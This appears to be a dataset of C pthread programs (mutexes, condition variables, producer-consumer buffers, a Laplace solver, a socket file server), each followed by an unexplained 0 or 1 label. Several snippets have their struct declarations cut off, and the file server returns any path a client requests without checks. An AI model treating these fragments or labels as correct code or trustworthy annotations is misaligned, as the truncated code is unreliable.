#include <pthread.h> int num = 0; pthread_t pthread[2]; pthread_mutex_t mux_num; pthread_cond_t cond_ok = PTHREAD_COND_INITIALIZER; void * taskA(void * arg){ int i; for(i=0; i<5; i++){ pthread_mutex_lock(&mux_num); num++; printf("taskA : num :%d\\n", num); if(num==5){ pthread_cond_signal(&cond_ok); } pthread_mutex_unlock(&mux_num); sleep(1); } pthread_exit(0); } void * taskB(void *arg){ pthread_mutex_lock(&mux_num); if(num < 5) pthread_cond_wait(&cond_ok, &mux_num); num = 0; pthread_mutex_unlock(&mux_num); printf("taskB : finish ...\\n"); pthread_exit(0); } int main(int argc, char *argv[]) { pthread_mutex_init(&mux_num, 0); pthread_create(&pthread[0], 0, taskA, 0); pthread_create(&pthread[1], 0, taskB, 0); pthread_join(pthread[0], 0); pthread_join(pthread[1], 0); return 0; }
0
#include <pthread.h> FILE *io_ahrs; static pthread_t thread_recv; static int (*handler_recv)(); void io_ahrs_init(char const *path) { io_ahrs = fopen(path, "r+"); if (!io_ahrs) { DEBUG("Failed to open %s", path); } return; } void io_ahrs_clean() { fclose(io_ahrs); return; } static void *ahrs_recv_thread(void *arg) { (void)arg; for (;;) { if (handler_recv() == EOF && feof(io_ahrs)) { return 0; } } } int io_ahrs_recv_start(int (*handler)()) { handler_recv = handler; return pthread_create(&thread_recv, 0, ahrs_recv_thread, 0); } void io_ahrs_recv_stop() { pthread_cancel(thread_recv); return; } static struct { unsigned char write : 2; unsigned char clean : 2; unsigned char read : 2; unsigned char new : 1; pthread_mutex_t lock; } tripbuf = {0, 1, 2, 0, PTHREAD_MUTEX_INITIALIZER}; bool io_ahrs_tripbuf_update() { pthread_mutex_lock(&tripbuf.lock); assert(IN_RANGE(0, tripbuf.write, 2) && IN_RANGE(0, tripbuf.clean, 2) && IN_RANGE(0, tripbuf.read, 2) && IN_RANGE (0, tripbuf.new, 1)); bool updated; if (tripbuf.new) { tripbuf.new = 0; unsigned char tmp = tripbuf.read; tripbuf.read = tripbuf.clean; tripbuf.clean = tmp; updated = 1; } else { updated = 0; } pthread_mutex_unlock(&tripbuf.lock); return updated; } void io_ahrs_tripbuf_offer() { pthread_mutex_lock(&tripbuf.lock); assert(IN_RANGE(0, tripbuf.write, 2) && IN_RANGE(0, tripbuf.clean, 2) && IN_RANGE(0, tripbuf.read, 2) && IN_RANGE (0, tripbuf.new, 1)); unsigned char tmp = tripbuf.write; tripbuf.write = tripbuf.clean; tripbuf.clean = tmp; tripbuf.new = 1; pthread_mutex_unlock(&tripbuf.lock); } unsigned char io_ahrs_tripbuf_write() { return tripbuf.write; } unsigned char io_ahrs_tripbuf_read() { return tripbuf.read; }
1
#include <pthread.h> int liStart, liEnd, colStart, colEnd; } macroBloco; KIND** matrix; int primeNumber; pthread_mutex_t mutexPrimeNumber; int subAvailable; pthread_mutex_t mutexSubAval; void countPrimesSerial(KIND** mat, int li, int col); void *countPrimesThread(void *threadid); KIND** createMatrix(int l, int c); void fillMatrix(KIND** matrix, int l, int c); void freeMatrix(KIND** matrix, int l, int c); int isPrime(long n); KIND randomInt(KIND min, KIND max); int main(int argc, char const *argv[]) { time_t beginSerial; time_t endSerial; time_t beginParalelo; time_t endParalelo; macroBloco* subMatrices; pthread_t threads[4]; int ml = 0; int mc = 0; int i = 0; int t = 0; int rc = 0; pthread_mutex_init(&mutexSubAval, 0); pthread_mutex_init(&mutexPrimeNumber, 0); srand(10); matrix = createMatrix(10000, 10000); fillMatrix(matrix, 10000, 10000); time(&beginSerial); primeNumber = 0; countPrimesSerial(matrix, 10000, 10000); time(&endSerial); printf("--------Serial--------\\nNúmeros primos contados:%d\\nTempo: %.1fs\\n", primeNumber, difftime(endSerial, beginSerial)); time(&beginParalelo); subAvailable = (10000*10000) / (1000*1000); subMatrices = (macroBloco*)malloc(subAvailable * sizeof(macroBloco)); for (ml = 0; ml<10000; ml += 1000) for (mc = 0; mc<10000; mc += 1000) { subMatrices[i].liStart = ml; subMatrices[i].liEnd = ml + 1000; subMatrices[i].colStart = mc; subMatrices[i].colEnd = mc + 1000; i++; } primeNumber = 0; for (t = 0; t<4; t++) { rc = pthread_create(&threads[t], 0, countPrimesThread, (void*)subMatrices); if (rc) { printf("ERROR code is %d\\n", rc); exit(-1); } } for (t = 0; t< 4; t++) { pthread_join(threads[t], 0); } time(&endParalelo); printf("--------Paralelo--------\\nNúmeros primos contados:%d\\nTempo: %.1fs\\n", primeNumber, difftime(endParalelo, beginParalelo)); free(subMatrices); freeMatrix(matrix, 10000, 10000); system("pause"); pthread_exit(0); return 0; } void countPrimesSerial(KIND** mat, int li, int col) { int i, j; for (i = 0; i<li; i++) for (j = 0; j < col; j++) { if (isPrime(mat[i][j])) { primeNumber++; } } } void *countPrimesThread(void *threadid) { macroBloco m; int i = 0; int j = 0; int endThread = 0; int primos = 0; while (1) { pthread_mutex_lock(&mutexSubAval); if (subAvailable >= 1) { m = ((macroBloco*)threadid)[subAvailable - 1]; subAvailable--; } else { endThread = 1; } pthread_mutex_unlock(&mutexSubAval); if (endThread)pthread_exit(0); primos = 0; for (i = m.liStart; i<m.liEnd; i++) for (j = m.colStart; j<m.colEnd; j++) { if (isPrime(matrix[i][j])) { primos++; } } pthread_mutex_lock(&mutexPrimeNumber); primeNumber += primos; pthread_mutex_unlock(&mutexPrimeNumber); } } KIND** createMatrix(int l, int c) { KIND **matrix; int j; matrix = (KIND**)malloc(l * sizeof(KIND*)); for (j = 0; j<l; j++) matrix[j] = (KIND*)malloc(c * sizeof(KIND)); return matrix; } void fillMatrix(KIND** matrix, int l, int c) { int i, j; for (i = 0; i<l; i++) for (j = 0; j<c; j++) { matrix[i][j] = randomInt(0, 29999); } } void freeMatrix(KIND** matrix, int l, int c) { int i; for (i = 0; i<l; i++) free(matrix[i]); free(matrix); } int isPrime(long n) { int i = 5; int w = 2; if (n == 2 || n == 3)return 1; if ((n == 1 || n % 2 == 0) || (n % 3) == 0)return 0; while (i*i <= n) { if (n % i == 0)return 0; i += w; w = 6 - w; } return 1; } KIND randomInt(KIND min, KIND max) { return ((rand() % (int)(((max)+1) - (min))) + (min)); }
0
#include <pthread.h> int process_IPC_request(int server_sockfd, struct http_request_info_t *proxy_request, struct connection *conn) { struct shared_data_t *sh_data = acquire_shared_segment(); fill_IPC_request(proxy_request, sh_data->shm_id); size_t buf_sz = 8192; char request_buf[buf_sz]; http_create_request(request_buf, proxy_request); make_request_IPC(server_sockfd, conn->client.sock, request_buf, sh_data->data); release_shared_segment(sh_data); return 200; } int is_local_request(struct sockaddr_in *server_addr, struct IP_addr_node_t *local_IP_list, int target_port) { if (ntohs(server_addr->sin_port) != target_port) return 0; struct IP_addr_node_t *p; for (p = local_IP_list; p != 0; p = p->IP_next) { if (p->addr.s_addr == server_addr->sin_addr.s_addr) { return 1; } } return 0; } int make_request_IPC(int server_sockfd, int client_sockfd, char* http_request, struct shared_data_storage *shared_data) { pthread_mutex_lock(&shared_data->ipc_mutex); shared_data->bytes_written = 0; shared_data->server_finished = 0; send_request(server_sockfd, http_request); while (1) { while (shared_data->bytes_written <= 0 && !shared_data->server_finished) { pthread_cond_wait(&shared_data->ipc_condvar, &shared_data->ipc_mutex); } forward_to_client(shared_data->bytes_written, shared_data->buf, (void *) &client_sockfd); shared_data->bytes_written = 0; if(shared_data->server_finished) break; pthread_cond_signal(&shared_data->ipc_condvar); } pthread_mutex_unlock(&shared_data->ipc_mutex); return 0; } struct http_header_t *create_IPC_header(int shmid) { size_t max_string_size = 24; struct http_header_t *h = malloc(sizeof(*h) + max_string_size); if (h == 0) { fprintf(stderr, "Out of memory.\\n"); exit(1); } h->name = IPC_HTTP_HEADER; h->value = (char*) (h + 1); snprintf(h->value, max_string_size, "%d", shmid); return h; } void destroy_IPC_header(struct http_header_t *h) { free(h); } void fill_IPC_request(struct http_request_info_t *request, int shmid) { request->request_method = IPC_HTTP_REQUEST; struct http_header_t *request_header = &(request->http_headers[request->num_headers++]); struct http_header_t *new_header = create_IPC_header(shmid); request_header->name = new_header->name; request_header->value = new_header->value; destroy_IPC_header(new_header); }
1
#include <pthread.h> long iterasyon_sayisi, birthread_kaciterasyon; int thread_sayisi,sayac=0; float pi; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; void* runner(void* arg) { long i; int icerdemi=0; unsigned int seedp = rand(); for(i=0;i<birthread_kaciterasyon;i++){ double x = (double)rand_r(&seedp) / 32767; double y = (double)rand_r(&seedp) / 32767; if(x*x + y*y <= 1){ icerdemi++; } } pthread_mutex_lock(&mutex); sayac=sayac+icerdemi; pthread_mutex_unlock(&mutex); } int main(int argc, char *argv[]){ iterasyon_sayisi = atol(argv[1]); thread_sayisi = atoi(argv[2]); birthread_kaciterasyon = iterasyon_sayisi/thread_sayisi; pthread_t *threads = malloc(thread_sayisi*sizeof(pthread_t)); int i; for (i = 0; i <thread_sayisi ; i++) { pthread_create(&threads[i], 0, runner, 0); } for (i = 0; i < thread_sayisi; i++) { pthread_join(threads[i], 0); } pthread_mutex_destroy(&mutex); free(threads); pi = 4* ( (float)sayac / (float)iterasyon_sayisi); printf("PI:%f\\n",pi); printf("sayac:%d\\n",sayac); printf("iterasyon_sayisi:%ld\\n",iterasyon_sayisi); return 0; }
0
#include <pthread.h> int nitems; struct{ pthread_mutex_t mutex; int buff[ 100000]; int nput; int nval; } shared = { PTHREAD_MUTEX_INITIALIZER }; void *produce( void*), *consume( void*); int main( int argc, char** argv) { int i, nthreads, count[ 100]; pthread_t tid_produce[ 100], tid_consume; nitems = (atoi( argv[1]) > 100000? 100000: atoi( argv[1])); nthreads = (atoi( argv[2]) > 100? 100: atoi( argv[2])); pthread_setconcurrency( nthreads); for ( int i = 0; i < nthreads; i++){ count[i] = 0; pthread_create( &tid_produce[i], 0, &produce, &count[i]); } for ( int i = 0; i < nthreads; i++){ pthread_join( tid_produce[i], 0); printf("count[ %d] = %d\\n", i, count[i]); } pthread_create( &tid_consume, 0, &consume, 0); pthread_join( tid_consume, 0); return 0; } void * produce( void *arg) { while( 1){ pthread_mutex_lock( &shared.mutex); if( shared.nput >= nitems){ pthread_mutex_unlock( &shared.mutex); return 0; } shared.buff[ shared.nput] = shared.nval; shared.nput++; shared.nval++; pthread_mutex_unlock( &shared.mutex); *((int *) arg) += 1; } } void * consume( void *arg) { for( int i = 0; i < nitems; i++) if( shared.buff[i] != i) printf( "buff[%d] = %d\\n", i, shared.buff[i]); return 0; }
1
#include <pthread.h> char achData[1024]; char achSendData[1024]; int iCount,iSocketfd,iConfd,iLen,iCharCount,c; FILE *fp; pthread_t thread[5]; struct sockaddr_in serv_addr; pthread_mutex_t lock; void *sendd(); int main() { iSocketfd=socket(AF_INET,SOCK_STREAM,0); serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=inet_addr("192.168.55.2"); serv_addr.sin_port=htons(3002); if(bind(iSocketfd,(struct sockaddr*) &serv_addr,sizeof(serv_addr))<0) { printf("Error\\n"); perror("Bind"); } if(listen(iSocketfd,8)<0) { printf("Error\\n"); perror("Listen"); } iLen=sizeof(serv_addr); for (iCount=0;iCount<5;iCount++) { iConfd=accept(iSocketfd,(struct sockaddr*) &serv_addr,&iLen); pthread_create(&thread[iCount],0,sendd,0); } for (iCount=0;iCount<5;iCount++) { pthread_join(thread[iCount],0); } close(iSocketfd); } void *sendd() { int fp,n; struct stat obj; int file_desc, file_size; pthread_mutex_lock(&lock); read(iConfd,achData,1024); printf("%c",achData[0]); stat(achData, &obj); printf("\\n\\nFile request from client:%s\\n",achData); file_desc=open(achData,O_RDONLY); file_size = obj.st_size; send(iConfd, &file_size, sizeof(int), 0); memset(achSendData,0,sizeof(achSendData)); while((n=read(file_desc,achSendData,1024))>0) { printf("N: %d\\n",n); write(iConfd,achSendData,n); memset(achSendData,0,sizeof(achSendData)); } printf("Written: %d Bytes\\n",file_size); pthread_mutex_unlock(&lock); }
0
#include <pthread.h> int A [2][3] = {{1, 4, 3}, {2, 5, 2}}; int B [3][3] = {{8, 7, 6}, {5, 4, 3}, {1, 2, 2}}; int C [2][3]; int i; int j; } matrix_t; static matrix_t *data; pthread_mutex_t lock; void *worker(void *parameter); static void dispatcher(int horizontal_element, int vertical_element); static void display(void); static void destroy(void); int main(int argc, char *argv[]) { int row, col, step, rc_control; for (row = 0; row < 2; row++) { for (col = 0; col < 3; col++) { dispatcher(row, col); pthread_t tid; for (step = 0; step < 5; step++) { rc_control = pthread_create(&tid, 0, worker, data); if (rc_control) { printf("ERROR; return code from pthread_create() is %d\\n", rc_control); exit(-1); } } pthread_join(tid, 0); } } display(); destroy(); pthread_mutex_destroy(&lock); exit(0); } void *worker(void *parameter) { matrix_t *input = parameter; int counter, sum = 0; for (counter = 0; counter < 3; counter++) { sum += A[input->i][counter] * B[counter][input->j]; } pthread_mutex_lock(&lock); C[input->i][input->j] = sum; pthread_mutex_unlock(&lock); pthread_exit(0); } static void dispatcher(int horizontal_element, int vertical_element) { data = (matrix_t *) malloc(sizeof(matrix_t)); data->i = horizontal_element; data->j = vertical_element; } static void display(void) { int row, col; for (row = 0; row < 2; row++) { for (col = 0; col < 3; col++) { printf("%d ", C[row][col]); } printf("\\n"); } } static void destroy(void) { free(data); }
1
#include <pthread.h> struct mymesg { long mtype; char mtext[512 + 1]; }; struct threadinfo { int qid; int fd; int len; pthread_mutex_t mutex; pthread_cond_t ready; struct mymesg m; }; void *helper(void *arg) { int n; struct threadinfo *tip = arg; for (;;) { memset(&tip->m, 0, sizeof(struct mymesg)); if ((n = msgrcv(tip->qid, &tip->m, 512, 0, MSG_NOERROR)) < 0) err_sys("msgrcv error"); tip->len = n; pthread_mutex_lock(&tip->mutex); if (write(tip->fd, "a", sizeof(char)) < 0) err_sys("write error"); pthread_cond_wait(&tip->ready, &tip->mutex); pthread_mutex_unlock(&tip->mutex); } } int main(void) { char c; int i, n, err; int fd[2]; int qid[3]; struct pollfd pfd[3]; struct threadinfo ti[3]; pthread_t tid[3]; for (i = 0; i < 3; i++) { if ((qid[i] = msgget((0x123 + i), IPC_CREAT | 0666)) < 0) err_sys("msgget error"); printf("queue ID %d is %d\\n", i, qid[i]); if (socketpair(AF_UNIX, SOCK_DGRAM, 0, fd) < 0) err_sys("socketpair error"); pfd[i].fd = fd[0]; pfd[i].events = POLLIN; ti[i].qid = qid[i]; ti[i].fd = fd[1]; if (pthread_cond_init(&ti[i].ready, 0) != 0) err_sys("pthread_cond_init error"); if (pthread_mutex_init(&ti[i].mutex, 0) != 0) err_sys("pthread_mutex_init error"); if ((err = pthread_create(&tid[i], 0, helper, &ti[i])) != 0) err_exit(err, "pthread_create error"); } for (;;) { if (poll(pfd, 3, -1) < 0) err_sys("poll error"); for (i = 0; i < 3; i++) { if (pfd[i].revents & POLLIN) { if ((n = read(pfd[i].fd, &c, sizeof(char))) < 0) err_sys("read error"); ti[i].m.mtext[ti[i].len] = 0; printf("queue id %d, message %s\\n", qid[i], ti[i].m.mtext); pthread_mutex_lock(&ti[i].mutex); pthread_cond_signal(&ti[i].ready); pthread_mutex_unlock(&ti[i].mutex); } } } exit(0); }
0
#include <pthread.h> int mediafirefs_create(const char *path, mode_t mode, struct fuse_file_info *file_info) { printf("FUNCTION: create. path: %s\\n", path); (void)mode; int fd; struct mediafirefs_openfile *openfile; struct mediafirefs_context_private *ctx; ctx = fuse_get_context()->private_data; pthread_mutex_lock(&(ctx->mutex)); fd = folder_tree_tmp_open(ctx->tree); if (fd < 0) { fprintf(stderr, "folder_tree_tmp_open failed\\n"); pthread_mutex_unlock(&(ctx->mutex)); return -EACCES; } openfile = malloc(sizeof(struct mediafirefs_openfile)); openfile->fd = fd; openfile->is_local = 1; openfile->is_readonly = 0; openfile->path = strdup(path); openfile->is_flushed = 0; file_info->fh = (uintptr_t) openfile; stringv_add(ctx->sv_writefiles, path); pthread_mutex_unlock(&(ctx->mutex)); mediafirefs_flush(path, file_info); return 0; }
1
#include <pthread.h> int value; pthread_mutex_t mutex; pthread_cond_t cond; } sema_t; void sema_init(sema_t *sema, int value) { sema->value = value; pthread_mutex_init(&sema->mutex, 0); pthread_cond_init(&sema->cond, 0); } void sema_wait(sema_t *sema) { pthread_mutex_lock(&sema->mutex); sema->value--; while (sema->value < 0) pthread_cond_wait(&sema->cond, &sema->mutex); pthread_mutex_unlock(&sema->mutex); } void sema_signal(sema_t *sema) { pthread_mutex_lock(&sema->mutex); ++sema->value; pthread_cond_signal(&sema->cond); pthread_mutex_unlock(&sema->mutex); } int buffer1[4]; int buffer2[4]; int in1, out1; int in2, out2; int buffer1_is_empty() { return in1 == out1; } int buffer1_is_full() { return (in1 + 1) % 4 == out1; } int buffer2_is_empty() { return in2 == out2; } int buffer2_is_full() { return (in2 + 1) % 4 == out2; } int get_item_from_buffer1() { int item; item = buffer1[out1]; out1 = (out1 + 1) % 4; return item; } void put_item_in_buffer1(int item) { buffer1[in1] = item; in1 = (in1 + 1) % 4; } int get_item_from_buffer2() { int item; item = buffer2[out2]; out2 = (out2 + 1) % 4; return item; } void put_item_in_buffer2(int item) { buffer2[in2] = item; in2 = (in2 + 1) % 4; } sema_t mutex1_sema, mutex2_sema; sema_t empty_buffer1_sema, empty_buffer2_sema; sema_t full_buffer1_sema, full_buffer2_sema; void *compute(void *arg) { int i; int item; for(i = 0; i < (4 * 2); i++) { sema_wait(&full_buffer1_sema); sema_wait(&mutex1_sema); item = get_item_from_buffer1(); sema_signal(&mutex1_sema); sema_signal(&empty_buffer1_sema); printf(" Computer: \\ttake item from buffer1: %c\\n", item); sema_wait(&empty_buffer2_sema); sema_wait(&mutex2_sema); item = i + 'A'; put_item_in_buffer2(item); sema_signal(&mutex2_sema); sema_signal(&full_buffer2_sema); printf(" Computer: \\tput item in buffer2: %c\\n", item); } } void *consume(void *arg) { int i; int item; for (i = 0; i < (4 * 2); i++) { sema_wait(&full_buffer2_sema); sema_wait(&mutex2_sema); item = get_item_from_buffer2(); sema_signal(&mutex2_sema); sema_signal(&empty_buffer2_sema); printf(" Consumer: \\tconsume item from buffer2: %c\\n", item); } return 0; } void produce() { int i; int item; for (i = 0; i < (4 * 2); i++) { sema_wait(&empty_buffer1_sema); sema_wait(&mutex1_sema); item = i + 'a'; put_item_in_buffer1(item); sema_signal(&mutex1_sema); sema_signal(&full_buffer1_sema); printf("Producer: \\tproduce item in buffer1: %c\\n", item); } } int main() { pthread_t consumer_tid, compute_tid; sema_init(&mutex1_sema, 1); sema_init(&mutex2_sema, 1); sema_init(&empty_buffer1_sema, 4 - 1); sema_init(&full_buffer1_sema, 0); sema_init(&empty_buffer2_sema, 4 - 1); sema_init(&full_buffer2_sema, 0); pthread_create(&compute_tid, 0, compute, 0); pthread_create(&consumer_tid, 0, consume, 0); produce(); pthread_join(compute_tid, 0); pthread_join(consumer_tid, 0); return 0; }
0
#include <pthread.h> void myhandle_init(){ pthread_mutex_init(&shMap.mutex,0); shMap.cap = INIT_MAP_ITEM_NUM; shMap.head = 0; shMap.tail = shMap.cap-1; servicehandle = malloc(sizeof(struct serviceHandleItem)*INIT_MAP_ITEM_NUM); } int myhandle_getIdleHandle(){ return 0; } void myhandle_releaseHandle(int handle){ if (handle<0 ||handle>shMap.cap) return; int h = handle % shMap.cap; pthread_mutex_lock(&shMap.mutex); servicehandle[h].service = 0; pthread_mutex_unlock(&shMap.mutex); } int myhandle_registerService(struct serviceInfo* service){ DBG_PRINT("enter myhandle_registerService\\n"); int result =-1; pthread_mutex_lock(&shMap.mutex); int initIndex = shMap.head; while(1){ if(servicehandle[shMap.head].service==0){ result = shMap.head; servicehandle[shMap.head].service = service; shMap.head = (shMap.head+1) % shMap.cap; break; } shMap.head = (shMap.head+1) % shMap.cap; if (initIndex == shMap.head) break; } if(initIndex == shMap.head){ result = myhandle_enlarge_map_cap(service); } pthread_mutex_unlock(&shMap.mutex); return result; } int myhandle_find_handle_byName(char* name){ int result = -1; pthread_mutex_lock(&shMap.mutex); int initIndex = shMap.head; int i; for(i=0;i<shMap.cap;i++){ if(servicehandle[i].service!=0){ if(strcmp(servicehandle[i].service->name, name) == 0){ result = i; break; } } } pthread_mutex_unlock(&shMap.mutex); return result; } struct serviceInfo* myhandle_getServiceByHandle(int handle){ struct serviceInfo* result = 0; if (handle<0 ||handle>shMap.cap) return 0; int h = handle % shMap.cap; if (servicehandle[h].service!=0){ if (servicehandle[h].service->handle == handle) result = servicehandle[h].service; } return result; } struct msgQueue* myhandle_getMqByHandle(int handle){ struct msgQueue* result = 0; struct serviceInfo* service = myhandle_getServiceByHandle(handle); if (service!=0) result = service->mq; return result; } int myhandle_enlarge_map_cap(struct serviceInfo* service){ DBG_PRINT("enter myhandle_enlarge_map_cap\\n"); struct serviceHandleItem* new_servicehandle = malloc(sizeof(struct serviceHandleItem)*shMap.cap*2); int i = 0; for(i=0;i<shMap.cap;i++){ new_servicehandle[i] = servicehandle[i]; } free(servicehandle); servicehandle = 0; servicehandle = new_servicehandle; int index = shMap.cap; servicehandle[index].service = service; shMap.head = index + 1; shMap.cap = shMap.cap * 2; return index; }
1
#include <pthread.h> struct node { int datum; struct node *next; }; struct head { pthread_mutex_t lock; struct node *first; struct head *next; } *list; pthread_mutex_t list_lock = PTHREAD_MUTEX_INITIALIZER; void init_node (struct node *p, int x) { p->datum = x; p->next = 0; } void init_head (struct head *p) { pthread_mutex_init(&p->lock, 0); p->first = 0; p->next = 0; } void *t_fun(void *arg) { struct node *tmp; struct head *h; int elems = 0; while (1) { pthread_mutex_lock(&list_lock); if (list) { h = list; pthread_mutex_unlock(&list_lock); } else { pthread_mutex_unlock(&list_lock); sleep(1); continue; } tmp = malloc(sizeof(struct node)); init_node(tmp, ++elems); pthread_mutex_lock(&h->lock); tmp->next = h->first; h->first = tmp; pthread_mutex_unlock(&h->lock); printf("Inserted element %d.\\n", elems); sleep(1); } return 0; } void *counter(void *arg) { struct node *tmp; struct head *h; int bucket, elem; while (1) { bucket = 0; printf("Counting: "); pthread_mutex_lock(&list_lock); h = list; while (h) { bucket++; elem = 0; tmp=h->first; pthread_mutex_lock(&h->lock); while (tmp) { elem++; tmp = tmp->next; } printf(" %d", elem); pthread_mutex_unlock(&h->lock); h = h->next; } pthread_mutex_unlock(&list_lock); printf("\\nCounted %d buckets.\\n\\n", bucket); sleep(10); } return 0; } int main () { pthread_t t1, t2; struct head *tmp; int i; pthread_create(&t1, 0, t_fun, 0); pthread_create(&t2, 0, counter, 0); while (1) { getchar(); printf("Creating new bucket!\\n"); tmp = malloc(sizeof(struct head)); init_head(tmp); pthread_mutex_lock(&list_lock); tmp->next = list; list = tmp; pthread_mutex_unlock(&list_lock); } return 0; }
0
#include <pthread.h> double grid[1024][1024]; double new[1024][1024]; double globalMax; long gridSize; long numIters; long numThreads; long rows; long modulo; long barrier_counter1, barrier_counter2, barrier_counter3; long rowCounter = 1; struct timeval start, end; pthread_mutex_t barrier; void *laplace_thread(void *count) { long i, j, k, firstRow, lastRow, mycount = (long) count, myRows = rows; double myDiff; pthread_mutex_lock(&barrier); if(modulo > 0){ myRows++; modulo--; } firstRow = rowCounter; lastRow = firstRow + myRows - 1; rowCounter = lastRow + 1; pthread_mutex_unlock(&barrier); for(k = 0; k < numIters/2; k++) { for(i = firstRow; i <= lastRow; i++) { for(j = 1; j <= gridSize; j++) { new[i][j] = 0.25*(grid[i-1][j]+grid[i][j-1]+grid[i+1][j]+grid[i][j+1]); } } pthread_mutex_lock(&barrier); barrier_counter1++; pthread_mutex_unlock(&barrier); while(barrier_counter1 < numThreads); barrier_counter3 = 0; for(i = firstRow; i <= lastRow; i++) { for(j = 1; j <= gridSize; j++) { grid[i][j] = 0.25*(new[i-1][j]+new[i][j-1]+new[i+1][j]+new[i][j+1]); } } pthread_mutex_lock(&barrier); barrier_counter2++; pthread_mutex_unlock(&barrier); while(barrier_counter2 < numThreads); barrier_counter1 = 0; pthread_mutex_lock(&barrier); barrier_counter3++; pthread_mutex_unlock(&barrier); while(barrier_counter3 < numThreads); barrier_counter2 = 0; } for(i = firstRow; i <= lastRow; i++) { for(j = 1; j <= gridSize; j++) { myDiff = 1 - grid[i][j]; if(myDiff > globalMax) { pthread_mutex_lock(&barrier); if(myDiff > globalMax) globalMax = myDiff; pthread_mutex_unlock(&barrier); } } } return 0; } int main(int argc, void **argv) { long i, j, t; double runTime; FILE *fp; gridSize = strtol(argv[1], 0, 10); gridSize = (gridSize > 1024) ? 1024 -2 : gridSize; numIters = strtol(argv[2], 0, 10); numIters = (numIters == 1) ? 2 : numIters; numThreads = strtol(argv[3], 0, 10); numThreads = (numThreads > 4) ? 4 : numThreads; pthread_t threads[numThreads]; pthread_mutex_init(&barrier, 0); for(i = 0; i <= gridSize+1; i++) { for(j = 0; j <= gridSize+1; j++) { if(i == 0 || j == 0 || i == gridSize+1 || j == gridSize+1) { grid[i][j] = 1.0; new[i][j] = 1.0; } } } rows = gridSize/numThreads; modulo = gridSize%numThreads; gettimeofday(&start, 0); for(t = 0; t < numThreads; t++) { pthread_create(&threads[t], 0, laplace_thread, (void*)t); } for(t = 0; t < numThreads; t++) { pthread_join(threads[t], 0); } gettimeofday(&end, 0); runTime = (end.tv_sec - start.tv_sec) + 1.0e-6 * (end.tv_usec - start.tv_usec); printf("argv[1] = %s\\nargv[2] = %s\\n", (char*)argv[1], (char*)argv[2]); printf("maximum error: %.6f\\n", globalMax); printf("Execution time: %.6f seconds\\n", runTime); fp = fopen("filedataPar.out", "w"); for(i = 0; i <= gridSize+1; i++) { for(j = 0; j <= gridSize+1; j++) { fprintf(fp, "%.6f ", grid[i][j]); if(j <= gridSize) fprintf(fp, "| "); } fprintf(fp, "\\n"); } fclose(fp); return 0; }
1
#include <pthread.h> int memory[(2*32+1)]; int next_alloc_idx = 1; pthread_mutex_t m; int top = 0; void __VERIFIER_atomic_acquire() { pthread_mutex_lock(&m); } void __VERIFIER_atomic_release() { pthread_mutex_unlock(&m); } void __VERIFIER_atomic_index_malloc(int *curr_alloc_idx) { if(next_alloc_idx+2-1 > (2*32+1)) *curr_alloc_idx = 0; else *curr_alloc_idx = next_alloc_idx, next_alloc_idx += 2; } void push(int d) { int oldTop = -1, newTop = -1; __VERIFIER_atomic_index_malloc(&newTop); if(newTop == 0) assume(0); else{ memory[newTop+0] = d; __VERIFIER_atomic_acquire(); oldTop = top; memory[newTop+1] = oldTop; top = newTop; __VERIFIER_atomic_release(); } } void* thr1(void* arg){ while(1){push(10); assert(top != 0);} return 0; } int main() { pthread_t t; pthread_create(&t, 0, thr1, 0); pthread_create(&t, 0, thr1, 0); pthread_create(&t, 0, thr1, 0); return 0; }
0
#include <pthread.h> int * T; sem_t * sem; pthread_mutex_t * lock; pthread_cond_t * cond; pthread_mutex_t * row_lock, * other_lock; pthread_cond_t * k_cond; int * row, * running, * k; int number_of_vertices; void wtc_proc_bt_init(int * initial_matrix, int n, int number_of_processes) { sem_t * temp_sem; int process_number; pthread_condattr_t cond_attr; pthread_mutexattr_t lock_attr; T = share_memory(sizeof(int) * n * n); sem = share_memory(sizeof(int)); temp_sem = sem_open("/semaphore", O_CREAT, 0644, 0); memcpy(&sem, &temp_sem, sizeof(int)); memcpy(T, initial_matrix, sizeof(int) * n * n); lock = share_memory(sizeof(pthread_mutex_t)); cond = share_memory(sizeof(pthread_cond_t)); other_lock = share_memory(sizeof(pthread_mutex_t)); row_lock = share_memory(sizeof(pthread_mutex_t)); k_cond = share_memory(sizeof(pthread_cond_t)); running = share_memory(sizeof(int)); row = share_memory(sizeof(int)); k = share_memory(sizeof(int)); *k = 0; *row = 0; *running = 1; number_of_vertices = n; pthread_mutexattr_init(&lock_attr); pthread_mutexattr_setpshared(&lock_attr, PTHREAD_PROCESS_SHARED); pthread_mutex_init(lock, &lock_attr); pthread_mutex_init(row_lock, &lock_attr); pthread_mutex_init(other_lock, &lock_attr); pthread_condattr_init(&cond_attr); pthread_condattr_setpshared(&cond_attr, PTHREAD_PROCESS_SHARED); pthread_cond_init(cond, &cond_attr); pthread_cond_init(k_cond, &cond_attr); for (process_number = 0; process_number < number_of_processes; process_number++) { wtc_proc_bt_create(process_number, number_of_processes, n); } } int wtc_proc_bt_dequeue() { int retval; if (*row < number_of_vertices) { retval = *row; *row += 1; } else { retval = -1; } return retval; } int * wtc_proc_bt(int n, int number_of_processes) { int i; while (*k < n) { for (i = 0; i < number_of_processes; i++){ sem_wait(sem); } pthread_mutex_lock(row_lock); *row = 0; pthread_mutex_unlock(row_lock); pthread_mutex_lock(other_lock); *k += 1; pthread_cond_broadcast(k_cond); pthread_mutex_unlock(other_lock); } *running = 0; for (i = 0; i < number_of_processes; i++) { sem_wait(sem); } return T; } void wtc_proc_bt_create(int process_number, int number_of_processes, int n) { int pid, i, j; pid = fork(); switch (pid) { case -1: perror("fork"); exit(1); break; case 0: while (*running) { pthread_mutex_lock(row_lock); while (*row < n) { i = wtc_proc_bt_dequeue(); pthread_mutex_unlock(row_lock); if (i >= 0) { for (j = 0 ; j < n; j++) { T[j + i*n] = T[j + i*n] | (T[j + (*k)*n] & T[(*k) + i*n]); } } pthread_mutex_lock(row_lock); } pthread_mutex_unlock(row_lock); pthread_mutex_lock(other_lock); sem_post(sem); pthread_cond_wait(k_cond, other_lock); pthread_mutex_unlock(other_lock); } sem_post(sem); exit(0); break; } } void wtc_proc_bt_cleanup() { shmdt(lock); shmdt(cond); shmdt(sem); shmdt(T); shmdt(other_lock); shmdt(row_lock); shmdt(k_cond); shmdt(row); shmdt(k); if (sem_close(sem) == -1) { perror("sem_close"); exit(1); } if (sem_unlink("/semaphore") == -1) { perror("sem_unlink"); exit(1); } }
1
